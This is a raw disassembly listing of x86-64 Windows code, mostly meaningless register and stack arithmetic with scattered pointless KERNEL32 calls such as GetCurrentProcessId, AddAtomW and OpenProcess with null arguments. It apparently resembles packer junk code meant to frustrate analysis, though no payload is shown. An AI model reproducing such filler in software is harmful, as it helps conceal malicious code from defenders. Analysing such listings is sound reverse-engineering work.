mov dword [rsp + 0xa910], eax
mov rax, qword [rsp + 0x19d38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd1a4]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad8b4], eax
mov edx, 0x6cd37c
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xd6c0], eax
movzx eax, byte [rsp + 0x81f]
mov rcx, qword [rsp + 0x1a2b0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x795], al
movzx eax, word [rsp + 0x39c0]
movzx ecx, word [rsp + 0x39e4]
and eax, ecx
mov word [rsp + 0x360c], ax
mov rax, qword [rsp + 0x19e30]
movzx eax, byte [rax]
mov byte [rsp + 0x897], al
mov rax, qword [rsp + 0x1a470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x39bc]
sub eax, ecx
mov rcx, qword [rsp + 0x1a8a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov dword [rsp + 0xdc58], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1ab28], rax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd870]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19f60]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1a2f8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xdb04], eax
movzx eax, byte [rsp + 0x716]
mov rcx, qword [rsp + 0x1a980]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x86e], al
mov rax, qword [0x1402bf588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3634]
add eax, ecx
mov word [rsp + 0x34ac], ax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd75c]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x1402bf760]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a760]
mov eax, dword [rax]
mov ecx, dword [0x1402ad64c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd72c], eax
lea rax, [rsp + 0xbee8]
mov qword [rsp + 0x1ab30], rax
mov rax, qword [rsp + 0x1a420]
mov rcx, qword [rsp + 0x19e50]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x1a4e0]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x3930]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3668], ax
mov rax, qword [0x1402bf510]
movzx eax, byte [rax]
mov byte [rsp + 0x898], al
movzx eax, word [rsp + 0x1be4]
mov rcx, qword [rsp + 0x1a7b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x398c], ax
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd38c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd9ec], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
mov dword [rsp + 0xdc5c], eax
mov eax, dword [rsp + 0xd060]
mov rcx, qword [rsp + 0x1a0b8]
mov qword [rsp + 0x1ab38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ab38]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xd90c], eax
mov eax, dword [rsp + 0x84c8]
mov ecx, dword [rsp + 0xda24]
xor ecx, eax
mov eax, ecx
mov dword [0x1402ad8b4], eax
mov rax, qword [rsp + 0x19f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad83c]
sar eax, cl
mov dword [rsp + 0xcb54], eax
movsx eax, word [rsp + 0x38fc]
movsx ecx, word [rsp + 0x37c0]
or eax, ecx
mov word [rsp + 0x231c], ax
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf4a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x86b]
mov byte [rsp + 0x899], al
mov rax, qword [rsp + 0x199a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3884]
imul eax, ecx
mov rcx, qword [rsp + 0x19c40]
mov word [rcx], ax
mov eax, dword [rsp + 0xcf08]
mov dword [rsp + 0xdc60], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xdc64], eax
mov eax, dword [rsp + 0xb710]
mov ecx, dword [rsp + 0xdb24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd564], eax
movzx eax, word [rsp + 0x3a68]
mov rcx, qword [rsp + 0x1a650]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x36b8], ax
movzx eax, byte [0x1402bf6b8]
mov byte [0x1402bf401], al
mov rcx, qword [rsp + 0x1a6c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xce8c], eax
mov rax, qword [rsp + 0x1a1b8]
mov ecx, dword [rsp + 0xda4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8700], eax
mov eax, dword [rsp + 0xd1d8]
mov ecx, dword [rsp + 0xd0f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd534], eax
lea rax, [0x1402ad6a0]
mov qword [rsp + 0x1ab40], rax
mov rax, qword [rsp + 0x1a578]
mov ecx, dword [rsp + 0xd650]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcd4c], eax
lea rax, [rsp + 0x25b8]
mov qword [rsp + 0x1ab48], rax
movzx eax, byte [rsp + 0x818]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x795], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd674], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd2c8], eax
mov rax, qword [rsp + 0x1a780]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb70c], eax
mov eax, dword [rsp + 0xc658]
mov dword [rsp + 0xdc68], eax
movsx eax, byte [0x1402acb86]
mov rcx, qword [rsp + 0x1a958]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402bcfe1], al
mov rax, qword [rsp + 0x1a8a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a028]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x3708], ax
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov word [rsp + 0x3ae8], ax
movzx eax, byte [rsp + 0x273]
mov rcx, qword [rsp + 0x1a0b0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1a6b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19ba0]
mov ecx, dword [rsp + 0x7fc0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa668], eax
mov rax, qword [rsp + 0x1a608]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd10]
shr eax, cl
mov dword [rsp + 0x9df8], eax
mov rax, qword [rsp + 0x19b90]
mov rcx, qword [rsp + 0x1a9b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a630]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1aa68]
mov eax, dword [rax]
mov dword [rsp + 0xdc6c], eax
mov rax, qword [rsp + 0x1a518]
mov rcx, qword [rsp + 0x1a5e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd7e0], eax
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37a0]
sub eax, ecx
mov rcx, qword [rsp + 0x19d18]
mov word [rcx], ax
mov rax, qword [rsp + 0x1a198]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402acc53], al
lea rcx, [rsp + 0x2b018]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [rsp + 0xa404]
mov dword [rsp + 0xdc70], eax
mov rax, qword [rsp + 0x19b18]
mov rcx, qword [rsp + 0x198b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd478], eax
mov eax, dword [rsp + 0xd4b4]
mov dword [rsp + 0xdc74], eax
mov rax, qword [rsp + 0x19f58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x914c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd94c], eax
mov rcx, qword [rsp + 0x1aa80]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf44], eax
movzx eax, word [rsp + 0x37ac]
mov rcx, qword [rsp + 0x1a7c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x38b4], ax
movzx eax, byte [rsp + 0x84d]
mov rcx, qword [rsp + 0x19fb0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x622], al
mov rax, qword [rsp + 0x1a088]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x810]
add eax, ecx
mov byte [rsp + 0x685], al
lea rax, [rsp + 0x3648]
mov qword [rsp + 0x1ab50], rax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xcd50], eax
mov eax, dword [rsp + 0xd0a4]
mov ecx, dword [rsp + 0xd500]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad630], eax
mov eax, dword [rsp + 0xd87c]
movzx ecx, al
mov eax, dword [rsp + 0xc538]
sar eax, cl
mov dword [rsp + 0xda5c], eax
mov rax, qword [rsp + 0x1a0a0]
movzx eax, byte [rax]
mov byte [rsp + 0x89a], al
movzx eax, word [0x1402bf4f8]
movzx ecx, word [rsp + 0x1d38]
xor eax, ecx
mov word [rsp + 0x3750], ax
mov rax, qword [rsp + 0x198f0]
mov rcx, qword [rsp + 0x1a2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8bd0], eax
lea rdx, [rsp + 0x19eb8]
mov rcx, qword [rsp + 0x1a828]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xdc78], eax
mov rcx, qword [rsp + 0x199b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x9df8]
mov dword [rsp + 0xdc7c], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xcd98]
shl eax, cl
mov dword [rsp + 0xd3bc], eax
lea rax, [rsp + 0xb710]
mov qword [rsp + 0x1ab58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd8ec], eax
mov rax, qword [rsp + 0x1a660]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19f70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7fa], al
movzx eax, word [rsp + 0x31b4]
mov rcx, qword [rsp + 0x1a500]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad8b8], ax
mov rax, qword [rsp + 0x19d58]
mov rcx, qword [rsp + 0x1a250]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [rsp + 0x1a3d8]
mov ecx, dword [rsp + 0x9460]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb620], eax
mov rax, qword [rsp + 0x19d98]
mov rcx, qword [rsp + 0x1a080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x19938]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov dword [rsp + 0xdc80], eax
mov rax, qword [0x1402bf6c8]
mov rcx, qword [rsp + 0x199c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd788], eax
movsx eax, byte [rsp + 0x858]
mov rcx, qword [rsp + 0x1a1a0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7b9], al
movzx eax, word [rsp + 0x3a54]
mov word [rsp + 0x3aec], ax
movzx eax, word [0x1402ad650]
movzx ecx, word [rsp + 0x36a0]
add eax, ecx
mov word [rsp + 0x3684], ax
lea rcx, [rsp + 0x19eb8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x85b]
mov byte [0x1402bf400], al
lea rcx, str.LZMk5DD
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3af0], ax
lea rax, [rsp + 0xd2a8]
mov qword [rsp + 0x1ab60], rax
mov rax, qword [rsp + 0x1a150]
mov rcx, qword [0x1402bf740]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd058], eax
movzx eax, word [rsp + 0x361c]
mov rcx, qword [rsp + 0x1a2b8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2370], ax
movzx eax, byte [rsp + 0x7a2]
mov rcx, qword [rsp + 0x1a918]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x511], al
mov rax, qword [0x1402bf628]
mov ecx, dword [rsp + 0xd2a4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcf88], eax
mov rax, qword [rsp + 0x19e88]
mov eax, dword [rax]
mov dword [rsp + 0xdc84], eax
mov rax, qword [rsp + 0x198a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xc4b0]
sar eax, cl
mov rcx, qword [rsp + 0x19df8]
mov dword [rcx], eax
mov eax, dword [0x1402ad888]
mov dword [rsp + 0xdc88], eax
movzx eax, word [rsp + 0x37bc]
movzx ecx, word [rsp + 0x3948]
shl eax, cl
mov word [0x1402bf5e8], ax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbee]
cdq
idiv ecx
mov byte [rsp + 0x590], al
mov eax, dword [rsp + 0x9b50]
mov ecx, dword [rsp + 0xd474]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5c8], eax
lea rax, [rsp + 0x8fec]
mov qword [rsp + 0x1ab68], rax
mov rax, qword [rsp + 0x19bb0]
movsx eax, byte [rax]
mov rcx, qword [0x1402bf4a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7b9], al
mov rax, qword [rsp + 0x1a818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19ca8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ee4], ax
movzx eax, word [rsp + 0x284c]
mov rcx, qword [rsp + 0x1a7c8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b88], ax
mov rax, qword [0x1402bf778]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7a3]
and eax, ecx
mov byte [rsp + 0xfd], al
lea rcx, [rsp + 0x2d770]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xda70], eax
lea rax, [rsp + 0xd2ac]
mov qword [rsp + 0x1ab70], rax
mov rax, qword [rsp + 0x1a518]
mov rcx, qword [rsp + 0x19c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad8bc], eax
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x1a5b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x1a5e0]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xdc8c], eax
mov eax, dword [rsp + 0xcf08]
mov dword [rsp + 0xdc90], eax
mov rax, qword [rsp + 0x1a5e0]
mov rcx, qword [0x1402bf6c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd190], eax
movzx eax, word [rsp + 0x3a90]
mov rcx, qword [rsp + 0x1a030]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3a40], ax
movzx eax, byte [rsp + 0x85e]
mov byte [rsp + 0x89b], al
mov rax, qword [rsp + 0x1a6d8]
mov rcx, qword [0x1402bf5f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9714], eax
mov rax, qword [rsp + 0x1a420]
mov eax, dword [rax]
mov dword [rsp + 0xdc94], eax
mov rax, qword [rsp + 0x19cf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd6d4]
shl eax, cl
mov dword [rsp + 0x951c], eax
mov rax, qword [0x1402bf420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xda68]
or ecx, eax
mov eax, ecx
mov dword [0x1402ad860], eax
mov rax, qword [rsp + 0x1a730]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x794]
xor eax, ecx
mov byte [rsp + 0x636], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39f0]
sar eax, cl
mov word [rsp + 0x2a30], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd06c], eax
mov rax, qword [0x1402bf728]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x37e4]
and eax, ecx
mov word [rsp + 0x3a0c], ax
mov rax, qword [rsp + 0x1a088]
movzx eax, byte [rax]
mov byte [rsp + 0x89c], al
mov rax, qword [rsp + 0x1a720]
mov rcx, qword [rsp + 0x1a150]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcfcc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd728], eax
lea rax, [rsp + 0xac30]
mov qword [rsp + 0x1ab78], rax
movzx eax, byte [rsp + 0x79f]
mov rcx, qword [rsp + 0x19c70]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x815], al
mov rax, qword [rsp + 0x1a900]
movzx eax, word [rax]
mov rcx, qword [0x1402bf458]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x38ac], ax
xor r9d, r9d
lea r8, [rsp + 0x197a0]
mov rdx, qword [rsp + 0x1ab80]
mov rcx, qword [rsp + 0x1ab18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd4dc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd200], eax
lea rax, [rsp + 0xd588]
mov qword [0x1402bf3f8], rax
mov rax, qword [rsp + 0x1a038]
mov eax, dword [rax]
mov dword [rsp + 0xdc98], eax
mov rax, qword [rsp + 0x1a008]
mov rcx, qword [rsp + 0x1a178]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc770], eax
mov eax, dword [rsp + 0x85a4]
mov ecx, dword [rsp + 0xce24]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xbe08], eax
movzx eax, word [rsp + 0x3888]
movzx ecx, word [rsp + 0x366c]
add eax, ecx
mov word [rsp + 0x3a68], ax
movzx eax, byte [rsp + 0x7de]
movzx ecx, byte [0x1402acb87]
sub eax, ecx
mov byte [rsp + 0x63d], al
mov rax, qword [rsp + 0x19f10]
mov eax, dword [rax]
mov dword [rsp + 0xdc9c], eax
mov eax, dword [rsp + 0xc330]
mov ecx, dword [rsp + 0x80c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaee8], eax
mov eax, dword [0x1402ad738]
mov dword [rsp + 0xdca0], eax
mov rax, qword [rsp + 0x19f60]
mov rcx, qword [rsp + 0x1ab30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402bf4d4], eax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd250], eax
mov rax, qword [rsp + 0x1a450]
mov rcx, qword [rsp + 0x1a0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x1a620]
mov dword [rcx], eax
movsx eax, byte [str._v_ap]
movsx ecx, byte [rsp + 0x684]
sar eax, cl
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x1a818]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19f90]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
cdq
mov ecx, 0x2c
idiv ecx
mov byte [rsp + 0x853], al
mov rax, qword [rsp + 0x1a900]
movzx eax, word [rax]
mov word [rsp + 0x3af4], ax
mov eax, dword [rsp + 0xdc00]
mov ecx, dword [rsp + 0xcde8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd8c4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xdca4], eax
lea rdx, [rsp + 0x1a790]
mov rcx, qword [rsp + 0x19ab8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd644], eax
mov eax, dword [rsp + 0xcec4]
mov dword [rsp + 0xdca8], eax
mov rax, qword [rsp + 0x1a350]
movzx eax, word [rax]
imul eax, eax, 0x90d
mov word [rsp + 0x3854], ax
movzx eax, byte [rsp + 0x884]
movzx ecx, byte [rsp + 0xc2]
and eax, ecx
mov byte [0x1402acbc2], al
mov eax, dword [rsp + 0xcdd0]
mov ecx, dword [rsp + 0xdc10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd7b0], eax
lea rdx, [rsp + 0x2c008]
mov rcx, qword [rsp + 0x19fe8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xdcac], eax
mov rax, qword [rsp + 0x1aa68]
mov ecx, dword [rsp + 0xcf68]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xc0ec], eax
mov rax, qword [rsp + 0x19cf0]
mov rcx, qword [rsp + 0x1a2f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9828], eax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov dword [rsp + 0xdcb0], eax
movzx eax, byte [rsp + 0x834]
movzx ecx, byte [rsp + 0x7f2]
add eax, ecx
mov byte [rsp + 0x873], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2f14]
add eax, ecx
mov word [rsp + 0x36e8], ax
mov rax, qword [rsp + 0x1a9e8]
mov eax, dword [rax]
mov dword [rsp + 0xdcb4], eax
mov rax, qword [rsp + 0x1a210]
mov ecx, dword [rsp + 0xd4f0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd818], eax
lea rax, [rsp + 0x2d38]
mov qword [0x1402bf3f0], rax
movsx eax, byte [0x1402acbff]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1c0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movzx ecx, word [rsp + 0x35d4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3af8], ax
mov rax, qword [rsp + 0x1a310]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x82c], al
mov rax, qword [rsp + 0x19d18]
movzx eax, word [rax]
mov rcx, qword [0x1402bf4e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x370c], ax
mov eax, dword [rsp + 0xd110]
mov dword [rsp + 0xdcb8], eax
mov rax, qword [rsp + 0x1a0d0]
mov rcx, qword [rsp + 0x1a690]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xdbb4], eax
mov eax, dword [0x1402ad78c]
mov dword [rsp + 0xdcbc], eax
mov rax, qword [rsp + 0x1a6f0]
mov ecx, dword [rsp + 0xdcbc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd27c], eax
lea rax, [rsp + 0xd4e8]
mov qword [rsp + 0x1ab88], rax
movzx eax, byte [rsp + 0x78f]
movzx ecx, byte [0x1402bf4da]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1a1d0]
mov byte [rcx], al
movzx eax, word [rsp + 0x3750]
mov rcx, qword [rsp + 0x1a2e8]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402bf5b0], ax
mov rax, qword [rsp + 0x1a578]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19a90]
mov qword [rsp + 0x1ab90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1ab90]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xd970], eax
mov rax, qword [0x1402bf5a8]
mov eax, dword [rax]
mov dword [rsp + 0xdcc0], eax
mov rax, qword [rsp + 0x1a9b0]
mov rcx, qword [rsp + 0x19c98]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa304], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [rsp + 0x199f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x916c], eax
movzx eax, byte [0x1402bf660]
movzx ecx, byte [rsp + 0x84a]
add eax, ecx
mov rcx, qword [rsp + 0x1a600]
mov byte [rcx], al
mov rax, qword [rsp + 0x19fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
sub eax, ecx
mov rcx, qword [rsp + 0x19ea0]
mov word [rcx], ax
mov rax, qword [rsp + 0x19800]
movzx eax, word [rax]
mov word [rsp + 0x3afc], ax
mov rax, qword [rsp + 0x1aaf0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e1]
add eax, ecx
mov rcx, qword [rsp + 0x1a158]
mov byte [rcx], al
mov rax, qword [rsp + 0x19f00]
mov ecx, dword [rsp + 0x93f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad8c0], eax
mov rax, qword [0x1402bf6c8]
mov eax, dword [rax]
mov dword [rsp + 0xdcc4], eax
mov rax, qword [rsp + 0x1a240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ce8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3264], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87b]
and eax, ecx
mov byte [rsp + 0x2b4], al
mov rax, qword [0x1402bf440]
mov rcx, qword [rsp + 0x1a0e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc50c], eax
mov eax, dword [rsp + 0xd198]
mov ecx, dword [rsp + 0xd740]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a448]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a830]
mov eax, dword [rax]
mov dword [rsp + 0xdcc8], eax
mov ecx, 5
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xd8e0], eax
mov eax, dword [rsp + 0xd5a4]
movzx ecx, al
mov eax, dword [0x1402ad7bc]
shl eax, cl
mov dword [rsp + 0x9368], eax
mov rax, qword [rsp + 0x19860]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a6c0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x821], al
movzx eax, word [0x1402ad670]
movzx ecx, word [rsp + 0x3738]
sar eax, cl
mov word [0x1402bf65c], ax
mov eax, dword [rsp + 0xce04]
mov dword [rsp + 0xdccc], eax
mov rax, qword [rsp + 0x19d10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd8b4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd628], eax
mov rax, qword [rsp + 0x1a338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa798]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8de0], eax
mov rax, qword [rsp + 0x198a8]
mov rcx, qword [rsp + 0x1a678]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd78c], eax
lea rax, [rsp + 0xd600]
mov qword [rsp + 0x1ab98], rax
movsx eax, word [0x1402ad678]
mov rcx, qword [rsp + 0x1a5f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x231c], ax
movsx eax, byte [rsp + 0x7db]
movsx ecx, byte [rsp + 0x1c1]
sub eax, ecx
mov byte [rsp + 0x87e], al
mov rax, qword [rsp + 0x1a9a0]
movzx eax, word [rax]
mov word [rsp + 0x3b00], ax
movzx eax, byte [0x1402bf49d]
mov byte [0x1402bf3e8], al
mov rax, qword [rsp + 0x1a440]
mov rcx, qword [rsp + 0x19dc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd650], eax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xdcd0], eax
mov rax, qword [rsp + 0x1aa20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
add eax, ecx
